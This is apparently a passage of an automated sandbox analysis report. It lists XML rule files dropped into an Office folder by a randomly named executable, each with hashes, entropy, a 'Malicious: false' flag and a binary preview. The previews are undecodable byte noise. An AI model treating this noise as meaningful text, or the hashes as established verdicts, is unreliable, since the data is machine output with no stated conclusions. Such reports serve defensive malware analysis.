Size (bytes):	987
Entropy (8bit):	7.7560634220776015
Encrypted:	false
SSDEEP:	24:yV5ZJewLlBW3q1ttjYySIFD+O4Hx9oRixi9pbD:WYGHKKV+DPGixkJD
MD5:	E2D3225C0AC3CB898A9990B62E79D35B
SHA1:	F9DA6C9FA36B32BDB22E4A0CBCC0C7CED9E9008E
SHA-256:	1E5014768B0E18189E36D99F97B76BC0EFD2ABB6619A754D8F3B3E3ED34300DB
SHA-512:	92318EFA2DE96586FB22CB6E992CC92CFB5EE4FFBAEC01B3BF755E7F0AF4F8AD3C1C93839C61784EEF5124E78FAE7C2E0333EA532718AB3FE51D9829C1D65FEC
Malicious:	false
Preview:	<?xml......l.v.8..^aPQs..nA.R...5....8T...g+/....IC..o.{.l..@s...e...-.Q...Ng..\...lX"~ .P.w..V"D...8......}3.a....H.X(.+....K.+..^OA....90..K.OE.g<..Vb5..mf.-#.%6..v.{...U....<@.....<w..B.]...j.C{MS.%.4W.`X.?.S....e...I.e...U?.....]>..~..U.#...$dM@E<.F.......`..].~t..M...^qWa.GB"Air..bS....8rv.......EKvao.....f.20...+Ds..'P...._YV.vpv.......:i'....%.J%.P0.I..k.L.U..K.2.}.4.FD..7.0.{.-..%.M+....Fg8.Y..B.C..i....U...<.5...!.5..G...kRy...Uo... D.......U..K].U......\....f.w.~.wi.....%..../.........L.-..7...7..(...!..oTA.%U...-.......v...N.FS.....7\[Xd....lv..q.HW..v(/v....J/.nV....{g..v.../.....q.....u..0.Y.bn.x+g.6T..`. ...do.2.O..,.z.e...b...\xo.RnE[f....?.s..n)5k.B?......Or..$k9og..['.S......f{.<r.N{.$.&.. ..H......S.L...ft.m...U#h^....<3j..Ze.y.I...Y....G\j..Q.Ls.._...'(M..Q.@...u...g.va.q.<.N`..(..W..*./..!en_.'"....u...#G1.9G..^x...)..H.@..=k..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170136v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	996
Entropy (8bit):	7.792884530191342
Encrypted:	false
SSDEEP:	24:XjpNclucs57XcVM3Zrgw7jmkyaDruBSWCdefgNYCSSbJ9pbD:XjTcutmMJ57jmkRDriCdefgydOJD
MD5:	A86FA3B0A3B31868EDA28B525DC4ABA7
SHA1:	81B022868BF6B98791836D1C3DDD56C279989B9A
SHA-256:	535538018EC9CCAA7D66793937B0E066A59048724369AB33A23E70F4F07FE0A5
SHA-512:	402DCC5A682F9674351496DD904B141F31DF8B2A592E83E687076067524B3242B6E47EB0D6C6627557FCAF30BC3982C81E720E355D59F0BEF1665C8A4144937C
Malicious:	false
Preview:	<?xml)..*..A......x..l..qF......G....8..a.s]..XXE..5.........7 DJ.....K....8...7...Wi@.-.I..a.>/<.Ei....wM.../f..K..'3.~2E......w@..D}.N...O.E...o[a........J.Y.mt.H<l.oZ.p....K.0...=.......9.n.vx......@9..S..Y./Mz.U..'....$.X.....(Nj..2.99.<.[R......'\|...k..qb.R...n.T0v_6.._....N..c...{.~.M.I...).=`.9"xjJ.o.z.".......~x....~vh..)].w.>.F.....8n..cm....{.....p...&.....!......`.y..:.....Y.........E.BZ..m.I)UB.?...&.k.Q.5[/$.X.1...l'k..yZ.uT_...B...r.u.A..........\.O...%J....OzQ..p..&p.G.....uT.z....../..{......S.C.....p..vU<e..2...>....A.g(x.....<a.R.!.]^.{Yh....m...O.N..${...k.".@b.L`a..+...y..~..n..u.9Gkkd..nZ^...k\|")f:..s...........?<Y..r.:....8G..2......CXV......%..`..\..{..2S.'%`zQn1V.6%M0=..?@..._..Q.6.=....8I......D.........u../..M..T.o.u.W....0....=I.q...c....Z\|..in..'....C.j.N..8.$U.).qMm]ow..GOq.5...4..........h].........^.....=@<..P.{..M.k..YxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170137v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.733544730970785
Encrypted:	false
SSDEEP:	24:QqqVJnMgcySVvdp95BqQ7cqHQwZKHmy9pbD:IVq/x98qwwd0JD
MD5:	BBBB549EBA37683F0822DE1B5DF91CBE
SHA1:	680D81EB2B1BE7751914BC29E1B9DF49E40FEA0D
SHA-256:	B980F9815C22D7BAF281F330403C6CCEA041F9C2B3566D8E7B0786599E64186C
SHA-512:	BE8D2FBB264D711FA6CCD882EEFB1518A1BBDAC0DFACA9853BEB254483137177705DCDA31F2A671BDBF113DDF722E981A7C20FE2FB56401336DCA8FD3CC476EC
Malicious:	false
Preview:	<?xml.]De....j8...=U.%.N<..` `%p.F......Y..0..h.i....8...,..@.;......./3.J/m..J.j..i.S...fC.].... s.r..AdC0\iD....C...jw..u.$.EE.Z9..z...V.nI.5...-..t$.jI{S.xqg.o5.........a......_..yF}G..).....M..Q..$..}"6....ic%......".....Q\|..R{....`8#3.s.%.{......u..Z.!.n...q2.......-.....4...d..SU]e....v..._......:Q.\|..Y...H`8@.c.8.../..E.\|..y..h..S{.x.`u.g .V....;.3...n?Yw........G.K....O..\>.!.............}....4.@....W....a.....B.vV......8.. \.....ym.7.y.^q.....M.(r4`..MA.R.R..._.q,.}../...yu..Z..I...l.Qt.Wz.s..l\n.c..x'c.<...Qq#1fm..:.;;.......3..<.-.\2j...}c......(.4.....5.{..j...C....H2...?.I.i.*/.S..".......&.J#...f}w4.......f..A..k........VV....;........R..o.N^.j.<..p...R.'.xmS_.\......C..3...v...u..?N....g@..Y3.%......W.....H.c.@..o....EH.1..U.x._.d.lEE.5Ii..}....;A.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170138v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.7131469446538246
Encrypted:	false
SSDEEP:	24:W5h0R7MHxc9A4i0DaMM55C3lrhA7Ny9pbD:XMRc99Tel5C5JD
MD5:	1C5540B37A21AFDBFE607B6405171559
SHA1:	6F1998D490A81524F3FBCA43D9478F4BBDE450D6
SHA-256:	16E27C20BED7ED442B3AE7DA9442DE2EB709F70E917542BA517D7DEB5CD5572F
SHA-512:	A253D6F2BA3685CDD58FE176C11AB71AE9D57C8BA3FE653FBF4E0CB799B9F3A178B66C2C526AD7F5A11C866D0C8B6532244A3794F1A53BD32094D9B0D4E27126
Malicious:	false
Preview:	<?xml0...P>..............d...]..3q.......P..;....3..FR7yV.!M.%I0.@e....F!UX.S.y._.....-.:.HZ5.P.........e..XV.0&?%....G.[..YU.6..D..y.}.{.?`t .$...5..\.<rO..&.........L....D..i.H.J..$.K..4.if......~..[@.'.`[=a..)...e.......1.d../.....j..AVp.4.+4.2C..$......s@-.......Z.......B..}.O.p.i...i^K.^.r.k...Wp...@.E...b..?.2...){..}+I.{..%wq.}za..X.XH....C$-8p05.....U.<;....7/j._#7+.[..s.\|.M:..y.3.......\.n@.......pM.ZKs0.Y..M..=q.......\|.."!...jbVhP{...ix....23......zm....fA@I&.DX..[....m..;h...v0@CC`....kg......9..&.{4...&...H...WB.....a...&......u....Ro.p...c6.%d...EjQO....: ....~,n.v...\.W..[a.Z.....2.m...1.\|..{.5....p..W#.n.......6qm$...)...........W....v.......G,NMl".AM../U....B.?oH.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170139v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.727225751753829
Encrypted:	false
SSDEEP:	12:bZ+H8o2HNPeIEXLaXOiUalRktQ4F+ijIF5ts14xfc4tWQdr29M2cii9a:tMoNPeIE6OiUalCtQg+ij+5e4O0y9pbD
MD5:	BAE030D2545B565FC5397DC62AA80257
SHA1:	8D5646AD08BDBAEEDC863EBD1760CC90BF3DF5AA
SHA-256:	CD871676ECBA5BD3060EC4604C3562066FF47B34C082D294768B33328E90206F
SHA-512:	BAF3DB32312B6CE17326C41E5C923BFB95678C2878CF5B6E6347521435700F83E91BF7BEC1E42CEEE2B04167BF672EB9F828C82F260C8A4112A6ED072D9240D3
Malicious:	false
Preview:	<?xml.he.......J..c..Q.!.@O..\~E.g.es5.>....f...T..r...bA..l.{.?.....y&c.CF.....q0.b....eI.\R....&c..g.>ounSN(.h=...$tr..^.sE..^.p.'.&a....M.J.`"qZ......s,..W.`!..YHM;%H.R.w..).....nPz.`.&Z~}Jc...-,y\|.W.+b..eM..........CG...MR.....K..dpl:......F.dA.gJ. ~88.`m...xn..Z..........ma.Te..$.={..^.{$L.NQ............q.Lf=.aQ.C.W.....;S7....m.... .{0Vkh..}3...Ln..(6...v...6.-j.6h[.O...%I.vb.(.I.H.v+...~#1.7.....u.#..)u^9.+6...!....2.yBK...E......g...~F^3..s..7._..u....S....O....P..4..7.].t.UC_&..ux....xla.1..$(......;....+...) S.........).'...c..O.oDR..0.{..X....c.W>.H ....iYVK).....aM.....I?.(#...I...#.yw..c#..5l.!.^..c.....BZ.\|...)6Jx(.4f3.2q..A.p.\...KT...Fm.?.D..a.$u....d.h.(.Eg._.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170140v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.718173816144397
Encrypted:	false
SSDEEP:	24:1CllTudMkN7gY1W+pnI1d9eWUShnD9G81ROFuRouH8NL9pbD:GWMkJprIHsWUQ1R3ouHCJD
MD5:	08DFDF390D6D7394D61F173A64075B8D
SHA1:	2CA20A6E934A063EF2ACDDCC19D8D4033509F8B9
SHA-256:	CB86FBBF3587426752C1A9A40FA6EC786DFB128F0E943367B35D594F1A6819CE
SHA-512:	CABFE97C48300D82FA5030C705D6343337F6FDB95D4E3518CAFF77A0CB3B86F89ECCA12D4343F8414D098B789FD420329EFC815CF233097DE2DBAE292FD1DE9F
Malicious:	false
Preview:	<?xmlZsE.AL9...u....{.9.._.....?aC.yD.....7o.~\|.0..Om..L.Q.......p7.pE.1..H...GVE/M.z..O...-P....4...$.H.N..<.Q..D.1..y...p.B.....I.........sfy8........]!.It..T3.[.f.>..Ey`...v....lL.9'.O.V&..L~.#........<.94... /.q....F.no.........9n..~i....~!..k...P...-...S...:.e../M....5yL.K...\.w..?j.^...z....Sr..y.x.K...y.].-M...\|..Z.#........}x.R;..q.ov.(.%z`...+....g.....Z{....K....k..h.....j.....v......e".k...}[.....v..F].......,.+...?9rMeZC....>N...[.SZ.}.-.<q......~.S..2..}..5F..SM.L.N..m4.C...?.......`..O..... ..../..H....8..f.>4.N7....NO.y...7.E.N]H..>@j...Z.a,Cn..h^..G...gx=..T....I........y..{.[..H....J.).+.x..n....?...../.&.L.!.vR...Oa;.._S........[....r....^..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170141v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.809714223123632
Encrypted:	false
SSDEEP:	24:pQfBMG40rUxRvoiyTSAmtJwGtG9/GUaE2fwnd3dUBPfqv9eOKRXc9pbD:pYMG40mJ9yeAQusfGNUBPfqv9jKRXyJD
MD5:	45AA76FA355F347A5364210EBA51F14D
SHA1:	178A9A92E662DA28F87FDBD5C418B9DE6D53F559
SHA-256:	7429A9A7F989012C9228D7234F45C30CCC177A4A773906C53956DE08B612906D
SHA-512:	53D6B98D87A6AEAB48EA3760409C789DA38B554A6F4014CDF88124E3B2C508815182FF1FFCF10D98DC2EDE5DE71BA217B52FFCB98C9FCD46A26688FCDFFC5FB4
Malicious:	false
Preview:	<?xml!H....Q{.+>.#...l].C......C..3j....)....#v...=.a^..T....w..F.;.i..#.I>..].D.8...\|.F..H_..H.P...fi...W......-F.`......).d.]r...........5J.[...^V....K..P.w^...4it.`O.-.(m..6..?.@...C...O.W$9.6...^!..{A.D],.#H~s.Vv.URa...Yt..'....8....9...)......!...Q.._[..d...\|Hh])..........K!.H......+Lg8.i&H.e_.....!..2.....k..q@...>..L..o..m.7...... <.\..a..;..[.+."'.s'P....db+....c....R..E.?...(M.%.8TC.............!....'.....&..&w^.EC.......y.t...2...?....R......~{..A`.wH..n...Z[Pc.y.. .>.cRP.4l..3,......i.&.g..#D\|'.;B .N.H.h.Kn.&.nJe..(..qnx..A.0.2X.f..[Z.@..2uE]y...../~u..DX.?......`./+d=A..k..&..$s.p..A.2..d..l...sB.).../.4...m...`.ON5....df...I.m.?.4>}...4.D....XU.OA..[.......O..$.....cfE....H\./........J..1\|a<a....!..8b..K[t.2.Mx0....c.Ef.....}:....p.......f.o8y.V'.x..q.L..f.8...p..E[.(Z..<....R...kL.S....@.^.j.2....E7.L..e.Y....$c./q..cO.P_...._...5U......+>..@.7.....M.SNz.OHU$..d.xU.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170142v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.754744928257735
Encrypted:	false
SSDEEP:	24:mSyOsiCEyM4hqOeHcOCKQ5y7V5WR3hy13nH1DNCB3raZem9pbD:hpsiA5SHPu+V+Y9nVDkwJD
MD5:	39DB7FC8E29724EA60416C8C48FB3D91
SHA1:	A5EA261BD18DD694D304BC4B15AFC620E7E54E2B
SHA-256:	87FAAE50FCCA4759BB6E55650EAC77224545ACBA390336D4DE5FBA9ECB30B6F3
SHA-512:	2E19BF3D100A39B086DAED897D7059FFA4B37B081958196350C9289C9A157C38F7C27770FED300FAD31AE5AB5B8CEF5BF84C92C4F600381624E3A89115EB90A2
Malicious:	false
Preview:	<?xmlV.`....b.O.I..~...0.]}...oh/..)....`......l.u.....s..jPa.&..8G...(}xz......YW...j<3%........H8..F..c`....5..p.........[RHs.pi...Q\u.....^.qYh\|....;'.@....H2a./.!..P..^f...V. .V..........S.....t.Xc1.J..&..y... ...T.M.ec.wJ..r.....x....j..^....(.....n....."....~g...h.....j.O.....\...C`..fS..n...C.l....d..1.....E5x#dciC>...s..z. %..ao\..T..R..{...^nr....3zzutA...(...`...~..-.K.K...........A...i...."!Q3.F......S../.o4........#...t.W=.=.O..4.7r.........D........x..%Mh.W....iP...f....\|W~id.g..._ujd.!...".y.zz.F....b...v...n..5./:I..>c..}.K.K.$Z..v.....{.....Nk.E...V.:.....b~..Z._.eR.....S..ky.p...V.=K;9X..<...Q[....BjR.O...jl.+....t.!.0.R....\...M.d.G..2.6..c.k.A.. ..}H.CL..y7..hp.1..&j Eq.3.N../..H..e..;f..mp..?......._j..1.V...O....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180003v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2217
Entropy (8bit):	7.912310539769343
Encrypted:	false
SSDEEP:	48:HMGwFDMV2I/fDHeYXBbVzm8h1yRvRzNDTyjHwai8az2ZViiJD:+CV2I/TeYXBbVawQfpTkHxWaX/
MD5:	870B50A0B1B499843B1D513ED703AED9
SHA1:	11B7CB9B8A17BF5849D0D30488CCD1D288EBA322
SHA-256:	80F68FE11727CE7186F4D62EC6EA9BE1FABD5C1A58FF8D4EACC3C6848E7D7516
SHA-512:	98C7D2D96B35376903EF9D40651D94608A00C16FB7F0DEA289E1FAB84375DE5BAA6867001982F7A0AF42972F3CB071DB4E68349942D7CA042B89613F24333181
Malicious:	false
Preview:	<?xml$t..q.M3.c....p...D4<Y....b..\|.FT..+.F...t..HpLM8.5.c.... .:i`6.\|...]G....i#...U.N.:h.ee...TD..vr..q[.....-.1..._gg......>K....xZ......w...`w.}1.0J..\.q......+v....l.....8..H....a..b......>sO.:..,.HF.2.5j.'.Y........xZ.#<k..E..H.v.0....>e.E##uG...`L..L.....@._...QkK..W..o..V.]P.._.w.]...tZM.s....!..1........`...$!.........z...............&w.^L..E...\..I....2..J5I....u.._."..(..=..K..K.B;.l...f.r.....;y.....g?<"....m0..X... .j..:e..Q.F/.i..umc..;(.f....."@eN..4^.07.x....Q.i.......F.N.-q.@J@...S.@22Y8...,.T.....P&I.....$f...U.....M..P..nzl...5...y?.=.Q....0...!...(r..e.. ..'...D+.9.`......\|.0.......\|.]Q FO....@.....c{b{...A/..,.E..B.>...SKfC...vW...[}.uh.`^.H3...b..Y.B.:[...\......7.....#k.J.-.a.r.._F.b...1. m...7.).R.3OR.......<.A...ktzH...W.T.\..A$....N,.....;.7>...s..+-..F...n..t....[.?..p....2r.t6...a K.P...E.B.."....Z...[..5..6.ZD..@...........A...xfu...qu....o~....[...#E.{...Y.=.YChf....S....@...S.N.1.p.5.q.......6..b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180026v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	7.905126047789238
Encrypted:	false
SSDEEP:	48:LY+HZOlMRXIGPbvCRFM8BRMW5ny5V2ACcao20JD:ESSCpzvCTAfao2e
MD5:	F6028AC376D18FE303768A1DEC131286
SHA1:	6C3AD6F23048D372129191130B8A9EF5289FD6E0
SHA-256:	CF19B58DB2BEC5AE633D83B88BC9DB3414F32EB7E5D4EC3B47B64A3DC03664F7
SHA-512:	6C62553D25C137BFA1D3DFAA34D619CE88DD4847247C8EB4FF2AB62F41F3A60880FEDC64833400B18DC9D0265A0289860610AD65F680D8974898218D4C3257E5
Malicious:	false
Preview:	<?xmlb.....)..x.6...gj..j...`{....I...f..1.....0.S....kxT&.N.......X....m....m.,.4....\I..3.\|..Es$bOS.(....,...n.\|5..b(BM..hr...a,PP.....d.t.>."....&x<...2.%.ME.."...0Qz0.:.c."}e...SS+OC..a.........n6.t._..)t.r...~B...s.O................_.x...E........=.e..Z.....}.t....#.bDn..j..._......E!..C...."...l...........8..c..3F2..k)kg...Qsp..p...3 .(.E.........AO.Bo}....O..H..A.P[...{..^...\...C...\`.7.l...v...$.........5l.?..j.6.'.\|..8.S..K.....m>....3g...[....D;......A..i..H....5.>..%....<........HyJ,5.0...Y..@G<q$G....}............Q....`.z/=...cI..z.....o0.....cO.z.wD.....L1@q.E...J"&.=...L}..yh...9^....^....EL.....E)F.@.!.Yo\..A.r...X..\#...z2.Az65Y,./i.BzE..!..'...!../.(.(%...D....A.ke.a.A.s..9..X..(.......[....l..%........V...c....a..%k..v]Y.......)WnjP>..^$...%.6...-....=.+27Kc..R8.....\|.i.Z..P..(...(4.05.i.....y.w.0......~q.......^..q1#Vdq..E<...~.{..C.i.n.t+.....M....L...t....z..s...c...PK`...^.K..XY._b../.}..3.y..Qs.anv..=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180027v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3851
Entropy (8bit):	7.950092766101924
Encrypted:	false
SSDEEP:	96:GnzVxitdvw3pP28mwt9HO4eRUhXHxkewHKizgIn:Gnhx7PJzt9H/eRUhXSD/gG
MD5:	452D69931E941747F453676B0E58FCB8
SHA1:	3A478D9A5E7788713192930C6CC42F8C27D2A340
SHA-256:	ADE069C72DE1BADF78DF746EA0D231DCEEB67DD653961F9343D19824630D27B1
SHA-512:	6B5D4478FEE2C396AB21BC5D72766699F44141286799A082BE4DA5BB7B1109551D63932E091F429CFA43E6A71BB136563674E7B7455BB82F3844F6B63F9D28D4
Malicious:	false
Preview:	<?xml.^.Ep...SG..9.g..\|]>^.'O.,.G.F..F[.lq......H;L.U..}.t.&-.;.Zr.iq.._R.;...hs^.5..Lr..^o .......#.F.9.o`<....1.F._...5m....Ce..\|.."3?....+9r.~....Ish..zI.p...Gx..i.a..a&G....G....<.B....!.N....$]Uu.W...WU.KS..LG...i..].+..%.C<...O..Z...J.>2.RR...u.5CK..Z...D..U.....<W........e1P..m.1.!/......=.,,,...wj&g".... ..s).Em.....K.!<..@A..O.2..x..\.0..1.K....}y..bz..i>..%I...`}.....\|%Y..../oz.....}.s..U..J..O\..@g......z..{.1N......k(7..$n..6..a.H..........\|l.pk....#@".G GL.B_.w...f.V.(.{N......A..2.)VA^m...0..T.......a..?.\Oj..O[J[....qD......NN.+..i.[f....%w.c.A.Z64..2c(N..~5...?.Y..\.B&^..i..Ph..M.7.G9Y...v.e..0...J.db+7.?M_..e..e.+.....d..]...A.(D.4....m..M....R....=...k...'......(S:Dc.B.mWgh..v..t.0C.z....l.`S..5M.....I...1..M.^..TW.mz.o.Xxv..8.....g.8..,.f..qz...C.]c...E..'.;.j/.y....ce?F8..........f^k..O.h(..Z.....~..YC.4..!).5r=%.D,O....U7....d'..a.tD$..9.@.p.,;f7g....5....9..E.....X*.V.0.d.....?.ah`>gj.A.....AK5.k..r..x(...%...l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180028v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3223
Entropy (8bit):	7.93291351604566
Encrypted:	false
SSDEEP:	96:PqqbDQh2sU+FCxDYWkpU7SvAQxD76gcrxT:Fb0h2sU+YxUJaOYmi
MD5:	380240AC700D6F01F108198AC4168709
SHA1:	0B7E50E89138F19AEEA9F922AA204FC6CF8F1AE3
SHA-256:	9FFA72A3B9B802BDF681162CF19AF5814A56EC79B1395DCD6CB6506DFE14E23D
SHA-512:	BD584DECAC288F90F919EABFFC9E8CB16FB35A9045418028137E01F024384DF9B69731705C9F6F10BBCFFFF0C949988B869850D4A495BB3D38D55BBFAF5C3995
Malicious:	false
Preview:	<?xmlC.%a.b.q=..v.j..- .$...k..z...O..X.X.......t..m.....B0..u....o.T.@.h!.C....iW...B.aBKx.H.....f.......".....JS.&~...b..Y]........4.;..{.^......k;............T8.7F...s...N.....B.....o.x......I.N..5GsG...U.<r.2.hY......8c..]...!.u....1.#...Y.<.........k.t...#....F+..B.C.6j+T..m.U\|..o.+..w.a...Aiyg8...{G.M}.XJ...BZF......j.T\.?.v08v.....:..?.w.Jr.X...A.........b.....?..g.'."..?.&.w7...f......Yb.xr.p.!..:%e..?s..S>U.UW 7..w..eq.7.D..>u".../8..wm.rqoi....@o....\...Jk.j#D~.. J,.I.[.#...>......../.Bo..=Q/.!..&.A.R......8..y....q......\.............c..u...;.W.{......h.){.8...R.*.#:^.....M..M%Kz..'r.BA..Y....=3...vb..1.s[.D.!.........3...C...F5VQ......_f.=U....K.`a._..E.........N.:(a.....\..._r.b..dwa......,....(#aD_.T.....A.t..]N.B...6../YD>C.1....e.r.rAP..n1...VB.g.B.'L..vfh...............B...........:.m..=...v.lV........ .,...{..;.,,.w.5N......2...7.w..p)....V .l.......4.vr`Nn.k.K%Q...w z.`..!g.....'......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180029v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.877560693314067
Encrypted:	false
SSDEEP:	48:hTz5Xy5k5tKzyrgFuPEt9QMEehP9DJopaJD:hTVXGm3PE7QChP9NP
MD5:	C33D3689023558E5263143B6DE910541
SHA1:	DED96FF4611965EEA01F7B2844E727FEA7AFB938
SHA-256:	9BE03B4EEA28CDDBCB87935B424AF77576CB2719C728AE3462EB35BDC3F80242
SHA-512:	36920A9F11FDEA7A23814F6466CA9DDB27FC5E96C3FEB484A188388993C0BA5999FFB9CF9D073A54471AAF7ED047D39E39875967FF2FDE245CEA228A0E5DF9A4
Malicious:	false
Preview:	<?xml5.j......$g.Yf............Q....(.n"....{....oNJ...5..Yk.Q....r.Ln..a.&7.a.r]S..#W..m.._.6k4..1.....A..K+wu....W...]...........Z)Dk..[..CA.{.u.x .........\.?)\..h._!.S.0..7Z...j.:...5...Q.+.Is..u[......`-[.....eO.....i<m...x...6....c..K.................-.....$tg8j.P.Ht.%.15.....b,O..].e..]....F-..`. 7P....0.k.).l.....A...Z5.^.6........)...C]0D.\.A..W.............V.DI....j@Z^~...bZ.l.k.~m...L...]...6..N...\c{^%..0..\.o....V..<.!........r..79\.].rh...7Vz2~eh..)$..5...J....!.9(...E.s.h.on(;...`...]t=J.......RbW............4.{w\.....s.e......_u..ui....<.:V..\.y............T...i/A.....hX#.O.X ..Bb.BV...C....W.n....w.]H.!...LVJ..mYc.....N t.OB...y..9\W..h.........)..'+..8e.0c.bN.&.D.Y..xz@..?.&...w.lh.S...>..N1.@e.)...,.@.....%..3n.\8Z..j.H......;.?*x.R>.F..rJ.....]......4..W?H....F.@nq.....H[..pg.)2?..)'.x2.....j.+a.....g.w.-+]^..q......pY...c..[.V../(....[.u...C!......VS.u..>..BN....sU;.....5.t.%nS=D._V..7.AO.P...L..3..B@.r+..g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180030v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	7.843750198248794
Encrypted:	false
SSDEEP:	48:J5rtm4Uw1mQXl56Q9V3WndNahdEoqdQPaANqV9JD:/rtbsGl56BdNa+eP0
MD5:	88728325C5265D206D3BDCE251824D11
SHA1:	A875834B47627E4FCBC7AC545AF1866F0E1A1BB0
SHA-256:	0AF836618DBCBA039039972449A45AFB13F7B722319F0AE705B4B4E1BC77EBF0
SHA-512:	AF1BF60B69C158CD68DEF75B60EC215EFFCA4FB20C2966A692BA5DFEF75565092C5BD6ED3E8FAA75747D1A36CB8C087CE44D8F7709D71C36B6AFBB08433EC97B
Malicious:	false
Preview:	<?xml...B+.[..^..[d+...!f...q.."2..-I.(..:..M.>}.)..5)...P..QE....%.}...)[.4t........{s...;o!5W...q}D..uvB..F.u.R!PC.t4e...C...if../.!7s...ra..\|U....^.Y.f..{..."...Q...R...9..".3...0....imr..jT.7E..\&~:.i<.....2.X.........hS...@:.8..K..a.%.l...f`.SK........xf..u.W....7wu6..!.a..u"..C}.....d..F.\..u....N...9.ZD..d..r.'7.....B.$...}(..Z<k.).%..v..G.}D...%..f..v..L.T.....e.0?..x..f.%mX...h.&}..:.:.]e..(.D.b....G.r6..n.h._..(......3...iW......2...........t..PE6A%.Q)....O...2.w~Y.B.y........!.,.[..b..@.._<..F>..!..o...xr.\|hk.....iH.....fM}.)..b.<...Z<\|...i....p3..l..T<.\h.0...~ .7....._<..$.....oD.U..L.....J..XaH.{...7]r.L.......j.....J.>...O:.&...U..V..`DU}TKZ......6.z5.q.L\|..y..f.w....p....u.h..MJ...8?....%oa.j[(...i..y.....K..3..E+u?..8..m..2~.c..~7r(w}....Y/.1.z.+s..C......'v,.T.......j7Vl...eP.}..,*......-..&-..[.)..,V..z..l..v7...}...X..W..!s.....5......AI.......N.pZ.tx,].O.;~.x.mg8g...YZ....3...5.....V&..ke...+.x..'..@.K} .{Pp.S. x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180031v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	7.902111188793836
Encrypted:	false
SSDEEP:	24:zAGksZXxfxXhjU4+ET4vX5/JJJb/BvXp2IBMExTr+aM2iLBeXGYEo+JbfazFHYPq:cih1hwVEaXtlBv52bUXNo0zpOZbh4JD
MD5:	6F46335ABA611DDF755DBA68B26037C0
SHA1:	D048B3114EC837C3DEBED28EC9714E32907E6C2F
SHA-256:	A0FEEF6C12A8D94645923DE12635AC9D2EE494742D7CF0CBEE29FE78EA6B67B1
SHA-512:	DEF01594A39172744531089385829A69F61BA1514CBBCD53E66F810991949DE64C16B7839663F1513F3A3227D229FEC86A060AC9B0F6F666D716FA928A8F0653
Malicious:	false
